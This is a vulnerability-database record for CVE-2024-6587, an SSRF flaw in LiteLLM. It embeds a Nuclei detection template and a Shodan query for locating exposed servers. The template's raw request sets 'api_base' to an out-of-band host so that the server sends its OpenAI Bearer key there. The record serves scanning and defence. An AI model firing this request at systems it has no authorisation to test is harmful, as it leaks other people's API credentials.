{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2024-6587/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2024-6587/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2024-6587/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2024-6587/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2024-6587/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2024-6587"},"sightings":{"href":"/api/v1/sightings/cve-2024-6587"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2024/CVE-2024-6587.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2024-6587\n\ninfo:\n  name: LiteLLM - Server-Side Request Forgery\n  author: pdresearch,iamnoooob,rootxharsh,lambdasawa\n  severity: high\n  description: |\n    LiteLLM vulnerable to Server-Side Request Forgery (SSRF) vulnerability Exposes OpenAI API Keys.\n  impact: |\n    Attackers can exploit SSRF to send requests to arbitrary URLs with OpenAI API keys in the Authorization header, potentially exposing API credentials.\n  remediation: |\n    Update LiteLLM to the latest version that addresses the SSRF vulnerability in the chat/completions endpoint.\n  reference:\n    - https://huntr.com/bounties/4001e1a2-7b7a-4776-a3ae-e6692ec3d997\n    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-6587\n  classification:\n    epss-score: 0.35316\n    epss-percentile: 0.98393\n  metadata:\n    verified: true\n    max-request: 1\n    shodan-query: http.favicon.hash:439373620\n  tags: cve,cve2024,ssrf,openai,litellm,vkev,vuln,ai\n\nhttp:\n  - raw:\n      - |\n        POST /chat/completions HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\n          \"model\": \"command-nightly\",\n          \"messages\": [\n            {\n              \"content\": \"Hello, how are you?\",\n              \"role\": \"user\"\n            }\n          ],\n          \"api_base\": \"https://{{interactsh-url}}\"\n        }\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: interactsh_protocol\n        words:\n          - \"http\"\n\n      - type: word\n        part: interactsh_request\n        words:\n          - \"Bearer\"\n# digest: 490a00463044022011a98792ed089c8e3eddc3afb09157b38972b5459afafddabd9c056836f5a120022066c28dfda1068ce4d89ad65b45ac6751a5026e452fab53f3257c5754e4613bdf:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2024-6587"}